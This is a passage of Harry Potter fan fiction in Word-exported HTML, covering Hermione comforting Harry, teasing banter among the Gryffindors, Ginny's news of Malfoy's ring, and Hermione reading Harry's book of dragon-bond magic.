and\nfelt warm hands on his back. Looking around, he saw his best friend sitting\nbeside him, kneading his tight muscles of his back. &quot;Close your\neyes.&quot; She said after a moment. &quot;Relax.&quot; He nodded lightly and\nrested his head back into the pillow, pleased to do so. The massage lasted ten\nminutes, and Harry felt immensely better. When the warm hands retreated from his back, he sighed happily- well content now. The lotion\nshe had used was nice and kept his skin feeling nice and smooth. Although it\nwas gone now, rubbed into his back, he still felt a little warm. The smell of\nincense slowly faded away, as did the light from the small bedside candle\nHermione had lit as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Soon, he felt his bed shift and the covers make their way\nback over him, but with something extra. &quot;Hermione?&quot;\nHe asked, speaking for the first time since he woke up. His voice was a little\nhorse from the crying, making her give him a sad look. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Close your eyes.&quot; She told him once again,\nplacing a kiss on his forehead and on top of his scar. &quot;I\'ll stay with you\nfor tonight. I won\'t let anything happen to you.&quot; Her voice was soft and\nmotherly. She wrapped her arms around him and placed her forehead against his.\nAfter a few moments, she felt him place an arm over her waist. &quot;Sweet\ndreams, honey.&quot; She whispered, sneaking a kiss to his nose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sweet dreams, \'Mione.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione awoke slowly; opening her eyes reluctantly wondered\nvaguely of why the sun wasn\'t on her curtains like usual. When her vision came\nto her, she realized that the reason of why the sun wasn\'t on her was that the\nfact that Harry Potter had his arm draped over her middle. Thinking back, she\nremembered of what had brought her to his bed and sighed against his chest. Was\nhe feeling any better this morning? A kiss to her forehead told her that he\nwas, indeed, feeling better.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Good morning.&quot; He greeted with a small laugh.\n&quot;Sleep well?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mm.&quot; She replied, happy\nthat he was all right. With this burden off her mind, she let herself stretch\nout and arc her back. She instantly blushed and pulled away a little bit when\nshe felt something touching her stomach when making the motion of bending her\nback. &quot;Well,&quot; She stated, giving him her best \'I know everything\'\nlook. &quot;It seems <i style="mso-bidi-font-style:normal">you</i> are happy to\nsee me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He instantly flushed. &quot;<i style="mso-bidi-font-style:normal">Hermione!</i>&quot; He almost\nshouted. &quot;It\'s <i style="mso-bidi-font-style:normal">morning</i>! I can\'t <i style="mso-bidi-font-style:normal">help</i> it!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You were trying to take advantage of me, weren\'t\nyou?&quot; She accused, pulling the covers dramatically up to her chin.\n&quot;Harry raped me!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I most certainly did <i style="mso-bidi-font-style:\nnormal">not</i>!&quot; He laughed out at her constant and over dramatic sounds\n(&quot;Eek! Eek! I lost my virginity! Eek! Help me!&quot;)\n&quot;Hermione Granger, <i style="mso-bidi-font-style:normal">I</i>\nthink <i style="mso-bidi-font-style:normal">you</i> raped <i style="mso-bidi-font-style:\nnormal">me</i>!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione instantly stopped her tirade. &quot;Huh? Is that <i style="mso-bidi-font-style:normal">possible</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He stopped to consider it. &quot;Um,\nyeah?&quot; He was hit in the face by a pillow and soon found the covers\nthrown over him and the corners quickly tied in a knot. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I, Harry Potter,&quot; She told his struggling, bound\nfigure. &quot;Am going to take a bath. If you are\ngood, I\'ll untie your sheets when I get back.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione Granger! You undo that knot this instant! I\nswear I\'ll rip out of these&#8230;Hermione? <i style="mso-bidi-font-style:\nnormal">Hermione</i>!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot; Ginny asked, walking past him.\n&quot;Shouldn\'t you be going to breakfast by now?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned lamely, shutting the door to his room with a\nsmall click. &quot; \'Morning Ginny,&quot; He greeted\nbefore replying. &quot;Hermione tied me up on the bed and I didn\'t get out\nuntil&#8230; that sounded bad, didn\'t it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Uh-huh.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Let me try again.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sure thing.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked back into his room and took a breath. Opening\nthe door, he stepped out. &quot;Oh, Hey Ginny!&quot;\nHe greeted, smiling. &quot;The dangest thing happened this morning! Hermione\njumped me and before I knew it, I was tied in a bundle of sheets with the\ncorners knitted together so tight I couldn\'t undo them!&quot; Here Harry\nlaughed like it was the funniest thing on earth. &quot;If Dobby hadn\'t came when he did, I might have been there all day!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny smirked to herself and shook her head.&quot; You are\nweird, did you know that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I did.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She noticed he was carrying his shower supplies. &quot;Going\nto bathe before breakfast?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No time, just going to shave. I\'ll take a bath after\nCare of Magical Creatures.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, can I watch?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Huh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I like watching guys shave, It\'s\ninteresting.&quot; She blushed a little, looking down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, sure.&quot; Harry\nshrugged and the two walked to the bathroom. &quot;But don\'t you have\nCharms?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wednesdays are pushed back an hour because of dueling\nclub, so we can rest up. Remember?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Must have slipped my mind.&quot;\nHarry mused. \'<i style="mso-bidi-font-style:normal">That\'s why she didn\'t come\nup to untie me yet&#8230;</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Anyway,&quot; Ginny paused as Harry stuck his head in\nthe male Gryffindor\'s bathroom to make sure no one was in there. The sinks were\nseparated from the baths anyway, but they more often than not streaked through\nthere anyway. When Harry motioned for her to stand in the doorway, she did and\nwatched him stand at the first sink, a few feet away. &quot;I wanted to talk to\nyou.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;About?&quot; He put shaving cream on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Malfoy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What about him?&quot; To her surprise, he didn\'t have\nmuch contempt in his voice. It just seemed he was slightly irritated talking\nabout him so early in the morning. &quot;He do\nsomething to you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, no, no&#8230; I just noticed that he had a very pretty\nring on&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry filled up the sink with warm water. &quot;Ring,\nhuh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah&#8230;&quot; She watched him dip his shaver into it.\n&quot;Aren&#8217;t you using your wand for that?&quot; Harry shook his head, bringing\nit to his neck and (to her utter amazement) started shaving against the grain.\n&quot;Doesn&#8217;t that <i style="mso-bidi-font-style:normal">hurt</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nope.&quot; He made another\nsweep across his skin, making Ginny wince at how casual he was about it.\n&quot;It\'s a Muggle Razor. Mach 3 Turbo, it doesn&#8217;t matter if you shave up or\ndown. I got Sirius to buy them for me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny shook her head and ignored how weird he was in early\nmornings. &quot;Anyway, the ring, it looked as if it was made out of the same\nmetal your necklace was.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry cut himself deeply, but spun on his heels, grabbing\nher shoulders. &quot;What!?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;H-Harry!&quot; She pulled from\nhis grasp. &quot;You\'re bleeding!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t care!&quot; He snapped, before calming down. &quot;The ring, Ginny. Are you sure it was the same\nmetal?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shook her head and pushed past him, grabbing a washcloth\nand placing it on his cheek. &quot;Harry, you\'ll scar if you let it be\nuntreated. We should get it healed just in case. Your dumb muggle razor has\nthree blades on it, it\'s really deep&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry ignored her and continued to shave, getting done\nbefore surrendering to her plea and letting her drag him to the hospital wing.\nThe way down was quiet, as nothing was spoken between the pair. Harry was more\nconcentrated on talking to a voice that only he could hear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">The ring, she said.</i>\'\nHe thought to Celestial, \'<i style="mso-bidi-font-style:normal">That explains\nwhy he\'s changed. Could it be</i>&#8230;\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Another\ndragon?</i><i style="mso-bidi-font-style:normal"> No, sweetie, I highly\ndoubt that. There is a spell that changes living items into jewelry such as I\nhave befallen, but not another dragon. The odds are too great.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Then what&#8230;?</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">You said he\nhated muggles, did you not? But didn\'t he mention \'muggle methods\' when you\nwere on the train? Think, Harry, I don\'t lecture you for no\nreason.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry thought hard indeed. \'<i style="mso-bidi-font-style:\nnormal">He has some ability to control the air around him, cutting off my\nability to read emotion and auras&#8230; What can do that?</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Only\none thing.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">What is it?</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Harry, dear, I\'m\nnot going to live your life for you. I\'m only here to guide you. I\'ll lend you\npower and protect you until I can no longer&#8230; But your mind, Sweetie, is your\nmind. Use it to it\'s fullest. I\'ll help you store\ninformation, you seek after answers.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry growled, frustrated and spoke aloud in his state,\nforgetting Ginny was next to him. &quot;Celestial!&quot; He called her name.\n&quot;Help me here, will you? It\'s <i style="mso-bidi-font-style:normal">changed</i>\nMalfoy too much to over look!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny stopped, making Harry- who had been walking behind\nher- bump into her. This apparently made him realize his mistake.\n&quot;Harry?&quot; She ventured, looking at him oddly. &quot;You are acting\nstrange, you are. Is there something wrong?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sighed, rubbing the bridge of his nose. &quot;Ginny, I\nhave a headache. I\'m going to go lay down.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thanks for caring Gin, I\'ll be fine.&quot; And with\nthat, Harry Potter turned, letting his robes bellow out behind him and catch\nwind as he walked, almost making it look like he was wearing a cape.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But, Harry,&quot; Ginny said to herself, watching him\nleave. &quot;We\'re already here&#8230;&quot; Sighing, she walked into the Wing to see\nif she could get a headache potion herself. Harry was thoroughly confusing her\nnow. Once inside, she noticed a few students standing around. Obviously a few\nhad decided to train a little for the dueling club. With a shake of her head,\nshe once again aided Madam Pomfrey.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Time flew for the people at Hogwarts it seemed. Already it\nwas now a month into the New Year and the first Hogsmeade trip was already upon\nthem. Harry and Ron were laughing and carrying on as they came from the seventh\nyear boy\'s dorm. Even if Harry was a prefect now and had his own bedroom to\nhimself, he was still found with his friends in their room almost all of his\nspare time. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean was talking to a girl in her sixth year, and after a\nfew stutters and blushing fits, he found himself hand in hand with his new\ninterest. Ron and Harry patted him on the back and congratulated him on finally\nasking her out. He managed a small &quot;Thanks&quot; before retreating out the\nportrait. Seamus made it public knowledge hew was going to meet a \'hot\nRavenclaw chick\' and he, too, went out through the portrait.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was next to come into the common room. She,\nhowever, did not look really happy. Instead, she walked up to her two best\nfriends and offered an apology of being late. She then informed them that\nLavender Brown was sick and she would be staying behind to look after her.\nHarry protested at first, but found himself submitting to her will after puppy\ndog eyes and a peck on the cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In the background, Ron made a motion of popping a whip to\nshow the rest of the common room just how whipped Harry was when it came to\nHermione. Another pair of sixth years also demonstrated an act of one pulling\nthe other, as if there was a connection between them. Also\nknown as \'keeping him on a short leash\'. When the two seventh years\nturned to see why everyone was laughing so hard, it instantly fell silent and\nseemed nothing was going on. Hermione smiled thanks up to Harry, missing the\nshow of Ron air whipping the sixth year and making him lick his shoe to show\njust who the master was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Obviously, it was Hermione in this case.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Ron walked down the hall in full casual attire.\nHarry sported jeans and a black shirt and black timberland shoes. He wore a\ncloak instead of robes that was clasped by a silver dragon clasp in the front.\nRon was beside him with sneakers and jeans, complete\nwith a green short sleeved shirt. His cloths, however, were covered by a casual\nrobe given to him by Harry last year at Christmas. At about the time they\npassed the hospital wing, they spotted Ginny, still in full Hogwarts attire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey, Gin, you not going to Hogsmeade\nwith everyone?&quot; Ron asked, looking her over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Actually,&quot; She blushed, knowing what she was\nabout to say would sound stupid to the boys. &quot;I was going to the hospital\nwing&#8230;I\'m curious at everything in it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh sweet Merlin, she\'s snapped.&quot; Ron said in\nshock, taking her temperature by placing his hand on her forehead. &quot;Harry,\nmate, she\'s fallen ill to the Hermione disease!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny swatted at him, and tried again when she missed. Harry\ninterrupted her next attack and spoke in a serious tone. &quot;Stop.\nThis is serious.&quot; He gave them both a stern look before turning to Ron. &quot;We\nneed to help her before it gets worse. Next thing you know she\'ll be in the\nlibrary instead of outside in her free time!&quot; His serious voice broke at\nthe end and the boys started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mou! You two&#8230;&quot; She\ncracked a small grin herself, however, and continued to go to the Wing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione paused a moment at Harry\'s trunk. She didn\'t really\nlike lying to him like she did, but she had finished her book last week and knew\nthat asking for his would result in much teasing on her behalf (As well as\nseveral questions on why she wanted it). Deciding that Harry would forgive her,\nshe opened his trunk and looked for the book. Finding it on the top, she\nsmiled. She was no stranger to rooting through his things, but normally it was\nfor a nightshirt to wear or to play a joke on him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;She once had taken\nall of his ink because he refused to work on an essay until the day before it\nwas due. After waiting till the last moment (when everyone else was asleep), he\ntook out his quill and parchment, but could not find his ink. After letting him\nworry about it for several minutes, Hermione finally gave into her conscious\nand gave him back the ink, telling him that he should start sooner because you\nnever knew when something odd might happen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But since she almost never went into his trunk with the\npurpose of snooping, she still felt a twang of guilt. Deciding to go ahead and\nget it over with, she sat on his bed and flipped to the first page.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Now that you have\nsuccessfully bonded with your dragon, it is time to experiment with all the\nthings you can do. First, be sure you are in a well-vented area. Also, take\nnote that all dragon magic makes the caster\'s eyes turn to that of the dragon\nhe or she bonded with. These effects are temporary and caused by the combining\nof mental powers.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">Dragon Breath</i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Requirements: Time to\nbreathe in fully. Also, one must be threatened. A human cannot breathe fire,\nfor lack of fire glands and flammable saliva. Breath attacks are fatal, as they\ncontain the heat of a fireless breath of a dragon. Also sulfur is magically\nbrought up, leaving the caster to have a bad aftertaste in his mouth. Getting\nthe taste out will be at the end of the spell.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">First thing is to note\nthat&#8230;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Hermione sighed. Was this just a spell book? She needed\ninformation to confirm what she read in her first book. The way it was going,\nshe would have to actually catch Harry in the act of doing something in order\nto prove that he had, indeed, bonded with a dragon. &quot;Harry.&quot; She\nsighed, shaking her head. &quot;You do some dumb stuff, but messing with bonds?\nHonestly&#8230;&quot; She looked back at the book and read some more. &quot; You are one of a kind, Harold James Potter&#8230; One of a\nkind&#8230;&quot; She smiled and read on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tossed the box of sugar quills up in the air and\ncaught it as he walked down the halls. He had bought them when Ron wasn\'t\nlooking. Harry wouldn\'t admit it to anyone, but he loved sugar quills. The only\ndownfall was the fact that they were \'girl treats\'. Any guy sucking on a quill\nwould be picked on for an entire week, as he learned from Dean\'s mistake in his\nfifth year. The poor boy probably never ate another quill again. In the muggle\nworld, chocolate was a girl\'s best friend, but in the wizarding world, it was\nsugarquills. &quot;At least in the Muggle world, guys could eat\nchocolate&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You say something?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Eh?&quot; Harry turned to see Rose, a fellow\nGryffindor girl in Ginny\'s year. &quot;Oh, nothing. Nothing at all.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She eyes the box in his hands. &quot;Sugar\nQuills?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Honestly, Harry.&quot; She teased him as they walked\ntogether to the picture of the fat lady. &quot;You\'re such a girl.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;They\'re for Hermione!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Surrrrrre&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Honestly!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Smirnoff Ice.&quot; Rose told the picture, making it\nopen. &quot;I won\'t tell anyone.&quot; She winked before walking into the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked to himself lightly before walking in after her\nand to his room. He would stash them in his trunk before anyone saw them. It\nwas kind of late now, having spent the entire day in Hogsmeade. Ron and him had\nmissed the ride back to Hogwarts and decided to hang out a bit more before\nwalking back via the secret passage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Opening his door, he spied Hermione lying on his bed. &quot;Hey Herms.&quot; He greeted, walking over to her. When\nshe didn\'t reply, he quickened his pace. A closer inspection revealed that she\nwas asleep. Chuckling, he realized that she had fallen asleep while reading.\nNot questioning on why she was on his bed instead of hers, he slipped the book\nout from under her and looked at it. Advanced sorcery.\nIt was his book. Shrugging, he placed it back in his trunk and wrote it off as\nher not having anything better to do. Lavender was on the couch downstairs.\nMaybe she got tired of looking after her for a while. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking his chance, Harry buried his sugar quills in his\ntrunk and changed into his night cloths. He took a moment to tuck Hermione in, scared he might wake her if he carried her to her bed.\nSatisfied that she was comfortable, he made his way over to her bead and\nclimbed in. It was a little to soft for his liking, but made due.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pulling up the pink covers of Hermione\'s bed, he closed his\neyes and inhaled her cherry scent that lingered on the sheets. He had become\nfamiliar with her scent over the years, but found that using the prefect\'s\nbathtub after her (too lazy to drain and re-fill), he personally knew exactly\nthe smell she used and could pinpoint it in a room filled with ever perfume\nknown to man in 